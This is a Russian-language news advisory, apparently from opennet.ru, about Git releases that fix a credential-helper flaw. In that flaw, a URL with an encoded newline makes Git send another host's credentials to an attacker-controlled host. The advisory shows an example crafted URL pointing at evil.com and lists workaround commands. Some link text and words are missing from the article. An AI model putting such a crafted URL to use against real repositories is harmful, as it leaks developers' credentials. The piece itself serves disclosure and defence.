корректирующие выпуски распределённой системы управления исходными текстами Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 и 2.17.4, в которых устранена () в обработчике ««, приводящая к отправке учётных данных не на тот хост при обращении git-клиента к репозиторию по специально оформленному URL, содержащему символ новой строки. Уязвимость можно использовать для организации отправки на сервер, подконтрольный атакующему, учётных данных от другого хоста.
При указании URL вида «https://evil.com?%0ahost=github.com/» обработчик учётных данных при подключении к хосту evil.com передаст параметры аутентификации, заданные для github.com. Проблема проявляется при выполнении таких операций, как «git clone», в том числе при обработке URL для субмодулей (например, при выполнении «git submodule update» будут автоматически обработаны URL, заданные в файле .gitmodules из репозитория). Наибольшую опасность уязвимость представляет в ситуациях, когда разработчик выполняет клонирование репозитория не видя URL, например, при работе с субмодулями, или в системах, выполняющих автоматические действия, например, в скриптах сборки пакетов.
Для блокирования уязвимости в новых версиях передача символа новой строки в любых значениях, передаваемых через протокол обмена учётными данными. Для дистрибутивов проследить за выпуском обновлений пакетов можно на страницах , , , , , , .
В качестве обходного пути блокирования проблемы не использовать credential.helper при обращении к публичным репозиториям и не применять «git clone» в режиме «—recurse-submodules» с непроверенными репозиториями. Для полного отключения обработчика credential.helper, который выполняет и извлечение паролей из , защищённого или файла с паролями, можно использовать команды:
git config —unset credential.helper
git config —global —unset credential.helper
git config —system —unset credential.helper
Источник: opennet.ru
